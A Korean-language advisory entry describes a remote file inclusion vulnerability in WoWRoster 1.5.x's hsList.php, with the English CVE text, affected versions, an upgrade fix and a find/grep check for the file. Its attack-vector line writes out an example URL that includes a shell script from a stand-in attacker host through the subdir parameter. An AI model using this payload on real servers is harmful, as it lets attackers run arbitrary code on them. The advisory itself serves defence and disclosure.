🇰🇷 한글 설명
WoWRoster 1.5.x 이하 버전의 hsList.php에 존재하는 원격 파일 포함(RFI) 취약점입니다. 공격자가 subdir 매개변수를 통해 원격 PHP 파일을 포함시켜 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
게임 길드 관리 웹사이트(WoWRoster)의 파일 경로 설정 부분에 결함이 있어, 공격자가 악의적인 코드가 담긴 다른 웹사이트 파일을 실행하도록 만들 수 있습니다. 서버의 모든 권한으로 공격자의 명령을 실행할 수 있게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in hsList.php in WoWRoster (aka World of Warcraft Roster) 1.5.x and earlier allows remote attackers to execute arbitrary PHP code via a URL in the subdir parameter.
📍 영향받는 시스템
WoWRoster 1.5.x 이하 모든 버전
⚔️ 공격 벡터
hsList.php?subdir=http://attacker.com/shell.php 형태의 URL을 통한 원격 코드 실행
🛡️ 대응 방법
WoWRoster를 1.6 이상으로 업그레이드하거나 subdir 매개변수 검증 패치 적용
🔧 검증 코드
명령어 결과로 hsList.php 파일이 발견되면 해당 경로에서 취약한 버전이 설치된 것이며, 파일 내 subdir 처리 방식을 확인하여 입력 검증 여부를 판단합니다.
find / -name 'hsList.php' -type f 2>/dev/null | xargs grep -l 'subdir' | head -1